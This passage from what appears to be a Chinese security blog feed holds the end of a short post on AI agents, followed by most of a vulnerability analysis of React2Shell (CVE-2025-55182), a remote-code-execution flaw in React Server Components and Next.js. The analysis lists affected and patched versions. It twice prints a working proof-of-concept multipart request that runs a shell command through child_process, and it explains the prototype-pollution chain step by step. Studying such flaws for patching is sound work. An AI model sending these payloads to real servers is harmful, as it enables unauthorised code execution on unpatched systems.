rel="noopener">https://www.bigmodel.cn/glm-coding?ic=BNTJWOGIBH</a></p><p>很快我们迎来了年后的第一个大热点。</p><p><strong>最早的Clawdbot，后来改名Moltbot，现在又改名叫Openclaw</strong>，最近最有名的应该叫做龙虾。其实<strong>Openclaw并不是第一个依托于LLM的主动代理助手</strong>，这个类似的概念我1年前就听过，之前Meta收购的Manus AI，Manus可能也不是最早的，而且很多人说Manus根本没有成品。但这个概念很早就有了。</p><p>年初Openclaw爆火，其实我觉得主要推手就是腾讯，腾讯以非常快的效率跟进并推广这个东西。</p><p><strong>今天这篇博客我先不讨论太多Openclaw，但下面这张图确实很有意思。</strong></p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101154562.jpeg" alt=""></p><p>时至今日，正处于时代浪潮风口当中，AI变革的时代来了吗？</p><p>或许现在的我给不出答案，但后续的博客中，我会伴随着我的学习和分享，和大家一起探讨这个答案。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;许久没有起笔写博客和公众号了，忽然一下起笔，似乎一下子找不到下笔的方式和由头，其实我想恢复写博客的习惯很久了，最近几年博客写的很少，原因有很多，一个这几年工作内容涉及到的公司内容比较多，不好去密，另一个是人真的是很懒惰的，放下笔很容易但是提起笔需要很多理由。&lt;/p&gt;
&lt;p&gt;今天这篇博客，没有技术，只想和大家分享分享最近的想法。&lt;/p&gt;</summary>
    
    
    
    
    <category term="ai" scheme="https://lorexxar.cn/tags/ai/"/>
    
    <category term="gpt" scheme="https://lorexxar.cn/tags/gpt/"/>
    
  </entry>
  
  <entry>
    <title>不容错过的2025年度漏洞：React2Shell（CVE-2025-55182）分析</title>
    <link href="https://lorexxar.cn/2025/12/31/react2shell/"/>
    <id>https://lorexxar.cn/2025/12/31/react2shell/</id>
    <published>2025-12-31T10:23:35.000Z</published>
    <updated>2026-01-05T06:27:40.917Z</updated>
    
    <content type="html"><![CDATA[<p>2025年12月3日，时隔4年，安全圈又一个通杀环境的核弹漏洞被公开，CVSS评分10.0，影响范围React 19+全版本，Next.js 15/16，无条件默认环境RCE漏洞，史称React2shell。</p><p>该漏洞由安全研究员 Lachlan Davidson 于 2025 年 11 月 29 日发现，在3号被公开</p><ul><li><a href="https://www.tenable.com/blog/react2shell-cve-2025-55182-react-server-components-rce" target="_blank" rel="noopener">https://www.tenable.com/blog/react2shell-cve-2025-55182-react-server-components-rce</a></li></ul><p>最早的版本大家讨论的结论是，只有使用rsc作为后端的环境才会受到漏洞的利用，主要原因还是受到了最早版本poc的影响，也就是ejpir专门构造的漏洞环境和poc。</p><p>但是很快maple3142在12月5日发布了真正的poc</p><ul><li><a href="https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3" target="_blank" rel="noopener">https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3</a></li></ul><p>在更快的时间内，next.js默认环境全版本通杀直接影响了以dify为代表的许多平台，一下子引爆了漏洞的影响范围，漏洞正式进入2阶段，大范围利用以及企业内部自查阶段。</p><a id="more"></a><h1 id="漏洞影响范围"><a href="#漏洞影响范围" class="headerlink" title="漏洞影响范围"></a>漏洞影响范围</h1><p>影响范围包括</p><ul><li>react-server：19.0.0，19.1.0，19.1.1，19.2.0</li><li>Next.js：14.3.0-canary、15.x 、16.x</li></ul><p>修复补丁版本包括</p><ul><li>React：19.0.1、19.1.2 、19.2.1</li><li>Next.js：14.3.0-canary.88、15.0.5、15.1.9、15.2.6、15.3.6、15.4.8、15.5.7、16.0.7</li></ul><h1 id="简单的漏洞演示"><a href="#简单的漏洞演示" class="headerlink" title="简单的漏洞演示"></a>简单的漏洞演示</h1><p>最简单的漏洞演示非常简单，直接起一个默认环境的next.js即可</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311825860.png" alt=""></p><p>poc直接用maple的即可（这里要注意这个poc不能用来打线上环境，会打挂的）</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">POST &#x2F; HTTP&#x2F;1.1</span><br><span class="line">Host: localhost:3000</span><br><span class="line">User-Agent: Mozilla&#x2F;5.0 (Windows NT 10.0; Win64; x64) AppleWebKit&#x2F;537.36 (KHTML, like Gecko) Chrome&#x2F;60.0.3112.113 Safari&#x2F;537.36 Assetnote&#x2F;1.0.0</span><br><span class="line">Next-Action: x</span><br><span class="line">X-Nextjs-Request-Id: b5dce965</span><br><span class="line">Content-Type: multipart&#x2F;form-data; boundary&#x3D;----WebKitFormBoundaryx8jO2oVc6SWP3Sad</span><br><span class="line">X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9</span><br><span class="line">Content-Length: 565</span><br><span class="line"></span><br><span class="line">------WebKitFormBoundaryx8jO2oVc6SWP3Sad</span><br><span class="line">Content-Disposition: form-data; name&#x3D;&quot;0&quot;</span><br><span class="line"></span><br><span class="line">&#123;&quot;then&quot;:&quot;$1:__proto__:then&quot;,&quot;status&quot;:&quot;resolved_model&quot;,&quot;reason&quot;:-1,&quot;value&quot;:&quot;&#123;\&quot;then\&quot;:\&quot;$B1337\&quot;&#125;&quot;,&quot;_response&quot;:&#123;&quot;_prefix&quot;:&quot;var res&#x3D;process.mainModule.require(&#39;child_process&#39;).execSync(&#39;clac.exe&#39;).toString().trim();;throw Object.assign(new Error(&#39;NEXT_REDIRECT&#39;),&#123;digest: &#96;NEXT_REDIRECT;push;&#x2F;login?a&#x3D;$&#123;res&#125;;307;&#96;&#125;);&quot;,&quot;_chunks&quot;:&quot;$Q2&quot;,&quot;_formData&quot;:&#123;&quot;get&quot;:&quot;$1:constructor:constructor&quot;&#125;&#125;&#125;</span><br><span class="line">------WebKitFormBoundaryx8jO2oVc6SWP3Sad</span><br><span class="line">Content-Disposition: form-data; name&#x3D;&quot;1&quot;</span><br><span class="line"></span><br><span class="line">&quot;$@0&quot;</span><br><span class="line">------WebKitFormBoundaryx8jO2oVc6SWP3Sad</span><br><span class="line">Content-Disposition: form-data; name&#x3D;&quot;2&quot;</span><br><span class="line"></span><br><span class="line">[]</span><br><span class="line">------WebKitFormBoundaryx8jO2oVc6SWP3Sad--</span><br></pre></td></tr></table></figure><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311825975.png" alt=""></p><h1 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h1><h2 id="什么是RSC-React-Server-Components-？"><a href="#什么是RSC-React-Server-Components-？" class="headerlink" title="什么是RSC(React Server Components)？"></a>什么是RSC(React Server Components)？</h2><p>在了解react2shell这个漏洞之前，第一个问题一定是，为什么一个前端语言会涉及到服务端的命令执行呢？这个问题就涉及到了<strong>React的新特性RSC(React Server Components)。</strong></p><p>其实理解这个特性并不是很难，如果稍微关注过现在的前端实现方式，就会大概知道现在前端页面内容大多都是由js绘制的。打开页面往往没有实际的内容，都是由<strong>js代码完成交互获得内容并绘制页面。</strong></p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311825517.png" alt=""></p><p>但是我们换个角度去想，如果浏览器加载页面需要先js绘制，然后页面加载结束之后再去请求后端获得数据，如果页面复杂或者数据非常多，就会很容易加载慢，页面长时间的空白，体验感很差。</p><p>那么最初解决的方法也很简单，<strong>传统的SSR解决方案</strong>，就是服务器直接把页面和数据做好处理，直接返回HTML，页面就可以跳过处理的部分直接显示部分内容减少加载时间。但是问题也很明显，如果请求数量多，服务器压力就会大，而且如果页面很大，请求的js和html也会很大加载也会慢。</p><p>为了解决这些问题，后来又提出了<strong>RSC(React Server Components)</strong>，服务端做好必要的数据处理，并以Flight协议的方式下发到客户端，客户端按照接收到的内容进行选择性水合，流式的更新前端交互内容。</p><p>在23年，Next.js13进一步延伸加入了Server Actions功能，在服务端提前定义好功能，通过客户端调用服务端运行操作，效率更高。并在后续这个特性被内置到了React中。</p><h2 id="什么是Flight协议？"><a href="#什么是Flight协议？" class="headerlink" title="什么是Flight协议？"></a>什么是Flight协议？</h2><p>这个漏洞的基础根基就是Flight协议，<strong>Flight协议就是React搞得一套用来在服务端和客户端之间传递信息的协议</strong>，传递到前端则会影响前端页面的显示内容，传递到后端则是会执行对应的Server Actions。说白了就是一个有点儿类似于java传递序列化信息的东西。</p><p>React的服务端会在接收到请求之后经过一系列处理最终反序列化得到js对象</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311826572.png" alt=""></p><p>其实大多东西都不值得关注，其中最关键的部分是类型标识，带有特殊标记的变量会在反序列化的时候转化为对应的对象引用，这点其实和其他语言反序列化的逻辑类似。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311826733.png" alt=""></p><p>理论上来说，反序列化并没有对内容做严格的限制，只要符合格式，就可以获得对应的js对象。</p><p>而这个漏洞的核心原理，<strong>在服务端对传入内容解析转对象时，导致了原型链污染，最终触发代码执行。</strong></p><p>在实际的漏洞之前，可能还需要知道Chunk对象是什么。</p><h2 id="Chunk对象"><a href="#Chunk对象" class="headerlink" title="Chunk对象"></a>Chunk对象</h2><p>在React服务端收到post请求，请求包的content-type为multipart/form-data，其中每段数据将会转化为一个Chunk对象。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">Chunk</span>(<span class="params">status: any, value: any, reason: any, response: Response</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">this</span>.status = status;</span><br><span class="line">  <span class="keyword">this</span>.value = value;</span><br><span class="line">  <span class="keyword">this</span>.reason = reason;</span><br><span class="line">  <span class="keyword">this</span>._response = response;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// We subclass Promise.prototype so that we get other methods like .catch</span></span><br><span class="line">Chunk.prototype = (<span class="built_in">Object</span>.create(<span class="built_in">Promise</span>.prototype): any);</span><br><span class="line"><span class="comment">// <span class="doctag">TODO:</span> This doesn't return a new Promise chain unlike the real .then</span></span><br><span class="line">Chunk.prototype.then = <span class="function"><span class="keyword">function</span> &lt;<span class="title">T</span>&gt;(<span class="params"></span></span></span><br><span class="line"><span class="function"><span class="params">  this: SomeChunk&lt;T&gt;,</span></span></span><br><span class="line"><span class="function"><span class="params">  resolve: (value: T</span>) =&gt; <span class="title">mixed</span>,</span></span><br><span class="line"><span class="function">  <span class="title">reject</span>: (<span class="params">reason: mixed</span>) =&gt; <span class="title">mixed</span>,</span></span><br><span class="line"><span class="function">) </span>&#123;</span><br><span class="line">  <span class="keyword">const</span> chunk: SomeChunk&lt;T&gt; = <span class="keyword">this</span>;</span><br><span class="line">  <span class="comment">// If we have resolved content, we try to initialize it first which</span></span><br><span class="line">  <span class="comment">// might put us back into one of the other states.</span></span><br><span class="line">  <span class="keyword">switch</span> (chunk.status) &#123;</span><br><span class="line">    <span class="keyword">case</span> RESOLVED_MODEL:</span><br><span class="line">      initializeModelChunk(chunk);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">// The status might have changed after initialization.</span></span><br><span class="line">  <span class="keyword">switch</span> (chunk.status) &#123;</span><br><span class="line">    <span class="keyword">case</span> INITIALIZED:</span><br><span class="line">      resolve(chunk.value);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> PENDING:</span><br><span class="line">    <span class="keyword">case</span> BLOCKED:</span><br><span class="line">    <span class="keyword">case</span> CYCLIC:</span><br><span class="line">      <span class="keyword">if</span> (resolve) &#123;</span><br><span class="line">        <span class="keyword">if</span> (chunk.value === <span class="literal">null</span>) &#123;</span><br><span class="line">          chunk.value = <span class="function">(<span class="params">[]: <span class="built_in">Array</span>&lt;(T</span>) =&gt;</span> mixed&gt;);</span><br><span class="line">        &#125;</span><br><span class="line">        chunk.value.push(resolve);</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">if</span> (reject) &#123;</span><br><span class="line">        <span class="keyword">if</span> (chunk.reason === <span class="literal">null</span>) &#123;</span><br><span class="line">          chunk.reason = <span class="function">(<span class="params">[]: <span class="built_in">Array</span>&lt;(mixed</span>) =&gt;</span> mixed&gt;);</span><br><span class="line">        &#125;</span><br><span class="line">        chunk.reason.push(reject);</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">default</span>:</span><br><span class="line">      reject(chunk.reason);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>这里需要关注两个case</p><p><strong>当case是”resolved_model”时，调用initializeModelChunk方法初始化Chunk对象</strong></p><p><strong>当case是”fulfilled”时，调用resolve方法处理</strong></p><p>这个Chunk对象结构将会贯穿这个漏洞很多流程</p><h2 id="漏洞分析-1"><a href="#漏洞分析-1" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p>让我们回到React处理请求的逻辑上，核心位于decodeReplyFromBusboy方法</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311826605.png" alt=""></p><p>response来自于createResponse，其中_formData刚好对应表单传入的formdata</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311826804.png" alt=""></p><p>紧接着绑定事件到field上，会对应触发resolveField处理response</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311826051.png" alt=""></p><p>一直执行到return getRoot，会尝试获得response的第0个Chunk</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311826511.png" alt=""></p><p>在getChunk中，由于_formData此时不为空，所以走到createResolvedModelChunk方法，并新建一个Chunk对象，id为0</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311826669.png" alt=""></p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311826934.png" alt=""></p><p>完成了Chunk对象的初始化之后，会触发then方法回到状态判断上</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line">Chunk.prototype.then = <span class="function"><span class="keyword">function</span> &lt;<span class="title">T</span>&gt;(<span class="params"></span></span></span><br><span class="line"><span class="function"><span class="params">  this: SomeChunk&lt;T&gt;,</span></span></span><br><span class="line"><span class="function"><span class="params">  resolve: (value: T</span>) =&gt; <span class="title">mixed</span>,</span></span><br><span class="line"><span class="function">  <span class="title">reject</span>: (<span class="params">reason: mixed</span>) =&gt; <span class="title">mixed</span>,</span></span><br><span class="line"><span class="function">) </span>&#123;</span><br><span class="line">  <span class="keyword">const</span> chunk: SomeChunk&lt;T&gt; = <span class="keyword">this</span>;</span><br><span class="line">  <span class="keyword">switch</span> (chunk.status) &#123;</span><br><span class="line">    <span class="keyword">case</span> RESOLVED_MODEL:</span><br><span class="line">      initializeModelChunk(chunk);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">switch</span> (chunk.status) &#123;</span><br><span class="line">    <span class="keyword">case</span> INITIALIZED:</span><br><span class="line">      resolve(chunk.value);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> PENDING:</span><br><span class="line">    <span class="keyword">case</span> BLOCKED:</span><br><span class="line">    <span class="keyword">case</span> CYCLIC:</span><br><span class="line">      <span class="keyword">if</span> (resolve) &#123;</span><br><span class="line">        <span class="keyword">if</span> (chunk.value === <span class="literal">null</span>) &#123;</span><br><span class="line">          chunk.value = <span class="function">(<span class="params">[]: <span class="built_in">Array</span>&lt;(T</span>) =&gt;</span> mixed&gt;);</span><br><span class="line">        &#125;</span><br><span class="line">        chunk.value.push(resolve);</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">if</span> (reject) &#123;</span><br><span class="line">        <span class="keyword">if</span> (chunk.reason === <span class="literal">null</span>) &#123;</span><br><span class="line">          chunk.reason = <span class="function">(<span class="params">[]: <span class="built_in">Array</span>&lt;(mixed</span>) =&gt;</span> mixed&gt;);</span><br><span class="line">        &#125;</span><br><span class="line">        chunk.reason.push(reject);</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">default</span>:</span><br><span class="line">      reject(chunk.reason);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>此时Chunk的status为RESOLVED_MODEL，所以走到initializeModelChunk方法初始化对象。</p><p>initializeModelChunk中对发送的请求做解析处理，解析完成之后会把status修改成INITIALIZED。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311826223.png" alt=""></p><p>在reviveModel中，会解析_response的内容，当请求为string类型时，会有一段额外的指令处理逻辑，其实对应的就是前面Flight协议的类型标识</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311827137.png" alt=""></p><p>这里比较重要的有几个</p><ul><li>$@后跟id，可以递归获取其他id的Chunk对象，这个后面会提到的漏洞利用涉及到的点之一</li><li>$B后跟id，可以获取对应formData中对应key的value，可控内容来源</li></ul><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311827228.png" alt=""></p><p>如果第一个字符是$，但是后续没有走到对应的分支，将会在最终进入getOutlinedModel</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311827993.png" alt=""></p><p>在getOutlinedModel中，将会把$符号之后的内容按照<code>:</code>分割</p><p>分割后的第一段为Chunk的id，进入getChunk</p><p><strong>后续根据Chunk的状态进入处理，依次遍历所有的path并赋值给value，这里也是触发漏洞的位置。</strong></p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311827778.png" alt=""></p><p>这里结合poc可能会更有感觉一些</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">poc的核心部分：$<span class="number">1</span>:__proto__:then</span><br><span class="line">获得id为<span class="number">1</span>的Chunk对象，并且获得对应的value</span><br><span class="line">value2 = value[<span class="string">"__proto__"</span>]</span><br><span class="line">value3 = value2[<span class="string">"then"</span>] = value[<span class="string">"__proto__"</span>][<span class="string">"then"</span>]</span><br></pre></td></tr></table></figure><p>这样一来通过原型链就可以访问任意对象的属性，那么如何用这个漏洞来实现RCE呢？</p><p>这其实涉及到一个JS的特性，其实JS的非常多各种对象都是来源于同一个原型，这也是为什么JS的原型链污染问题层出不穷，就比如说很多对象向上找都会追溯到Function对象。</p><p>就比如<code>[].constructor.constructor</code>就是一个Function对象，操作这个对象就可以实现任意代码执行。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202512311827625.png" alt=""></p><p>在这个基础上我们如何读取都知道了，你怎么如何操作呢，如果我们非常简单的直接链式调用读取Function，就会遇到这样一个问题，假设请求内容为</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">------WebKitFormBoundaryx8jO2oVc6SWP3Sad</span><br><span class="line">Content-Disposition: form-data; name=<span class="string">"0"</span></span><br><span class="line"></span><br><span class="line">&#123;<span class="string">"then"</span>:<span class="string">"$1:constructor:constructor"</span>&#125;</span><br><span class="line">------WebKitFormBoundaryx8jO2oVc6SWP3Sad</span><br><span class="line">Content-Disposition: form-data; name=<span class="string">"1"</span></span><br><span class="line"></span><br><span class="line">[]</span><br><span class="line">------WebKitFormBoundaryx8jO2oVc6SWP3Sad--</span><br></pre></td></tr></table></figure><p>此时会出现这样一个问题</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span>、getChunk(<span class="number">0</span>)</span><br><span class="line"><span class="number">2</span>、getOutlinedModel中通过分割path并且遍历getChunk(<span class="number">1</span>)，返回value为[]的Chunk对象</span><br><span class="line"><span class="number">3</span>、最终value为[].constructor.constructor也就是<span class="built_in">Function</span>对象</span><br><span class="line"><span class="number">4</span>、那么此时返回上层then的是<span class="built_in">Function</span>对象，由于<span class="built_in">Function</span>不是一个<span class="built_in">Promise</span>对象，无法继续执行</span><br></pre></td></tr></table></figure><p>那唯一的办法就是要让最后返回的对象也是一个Chunk对象。</p><p>这就涉及到了一个前面提到过的知识，就是<code>$@</code></p><ul><li>$@后跟id，可以递归获取其他id的Chunk对象</li></ul><p>那这里我们尝试用一个嵌套递归逻辑来实现返回一个Chunk对象</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">------WebKitFormBoundaryx8jO2oVc6SWP3Sad</span><br><span class="line">Content-Disposition: form-data; name=<span class="string">"0"</span></span><br><span class="line"></span><br><span class="line">&#123;<span class="string">"then"</span>: <span class="string">"$1:then"</span>&#125;</span><br><span class="line">------WebKitFormBoundaryx8jO2oVc6SWP3Sad</span><br><span class="line">Content-Disposition: form-data; name=<span class="string">"1"</span></span><br><span class="line"></span><br><span class="line"><span class="string">"$@0"</span></span><br><span class="line">------WebKitFormBoundaryx8jO2oVc6SWP3Sad</span><br></pre></td></tr></table></figure><p>来看看这个请求的处理逻辑</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span>、getChunk(<span class="number">0</span>)</span><br><span class="line"><span class="number">2</span>、getOutlinedModel中通过分割path并且进入getChunk(<span class="number">1</span>)</span><br><span class="line"><span class="number">3</span>、@<span class="number">0</span> 触发第二次getChunk(<span class="number">0</span>)，返回的是Chunk0的实例</span><br><span class="line"><span class="number">4</span>、返回到getOutlinedModel进入遍历，此时value对应为Chunk0的实例，<span class="keyword">return</span>的就是Chunk对象</span><br><span class="line"><span class="number">5</span>、最终<span class="keyword">await</span>触发Chunk0的then方法</span><br></pre></td></tr></table></figure><p>这里我们理明白这套嵌套逻辑之后，其实还有一个问题，这就涉及到前面提到的另一个点</p><ul><li>$B后跟id，可以获取对应formData中对应key的value，可控内容来源</li></ul><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">case</span> <span class="string">'B'</span>: &#123;</span><br><span class="line">  <span class="comment">// Blob</span></span><br><span class="line">  <span class="keyword">const</span> id = <span class="built_in">parseInt</span>(value.slice(<span class="number">2</span>), <span class="number">16</span>);</span><br><span class="line">  <span class="keyword">const</span> prefix = response._prefix;</span><br><span class="line">  <span class="keyword">const</span> blobKey = prefix + id;</span><br><span class="line">  <span class="keyword">const</span> backingEntry: Blob = (response._formData.get(blobKey): any);</span><br><span class="line">  <span class="keyword">return</span> backingEntry;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>而_prefix作为response中的可控部分，通过控制_prefix就可以指定blobKey的前半部分内容，此时如果我们通过原型链污染把get修改为Function，就可以顺利成章的触发<code>Function(exp)</code></p><p>这里我们直接拿公开的poc来看利用逻辑</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">------WebKitFormBoundaryx8jO2oVc6SWP3Sad</span><br><span class="line">Content-Disposition: form-data; name=<span class="string">"0"</span></span><br><span class="line"></span><br><span class="line">&#123;</span><br><span class="line">    <span class="string">"then"</span>: <span class="string">"$1:__proto__:then"</span>, </span><br><span class="line">    <span class="string">"status"</span>: <span class="string">"resolved_model"</span>, </span><br><span class="line">    <span class="string">"reason"</span>: <span class="number">-1</span>, </span><br><span class="line">    <span class="string">"value"</span>: <span class="string">"&#123;\"then\":\"$B1337\"&#125;"</span>, </span><br><span class="line">    <span class="string">"_response"</span>: &#123;</span><br><span class="line">        <span class="string">"_prefix"</span>: <span class="string">"var res=process.mainModule.require('child_process').execSync('whoami.exe').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),&#123;digest: `NEXT_REDIRECT;push;/login?a=$&#123;res&#125;;307;`&#125;);"</span>, </span><br><span class="line">        <span class="string">"_formData"</span>: &#123;</span><br><span class="line">            <span class="string">"get"</span>: <span class="string">"$1:constructor:constructor"</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">------WebKitFormBoundaryx8jO2oVc6SWP3Sad</span><br><span class="line">Content-Disposition: form-data; name=<span class="string">"1"</span></span><br><span class="line"></span><br><span class="line"><span class="string">"$@0"</span></span><br><span class="line">------WebKitFormBoundaryx8jO2oVc6SWP3Sad--</span><br></pre></td></tr></table></figure><p>处理逻辑如下</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span>、getChunk(<span class="number">0</span>)</span><br><span class="line"><span class="number">2</span>、getOutlinedModel中分割Chunk0的then内容，$<span class="number">1</span>:__proto__:then被处理为Chunk1，path内容为[__proto__, then]</span><br><span class="line"><span class="number">3</span>、触发getChunk(<span class="number">1</span>)</span><br><span class="line"><span class="number">4</span>、在Chunk1中检测到$@<span class="number">0</span>，于是获得Chunk0的实例，返回给Chunk1的value</span><br><span class="line"><span 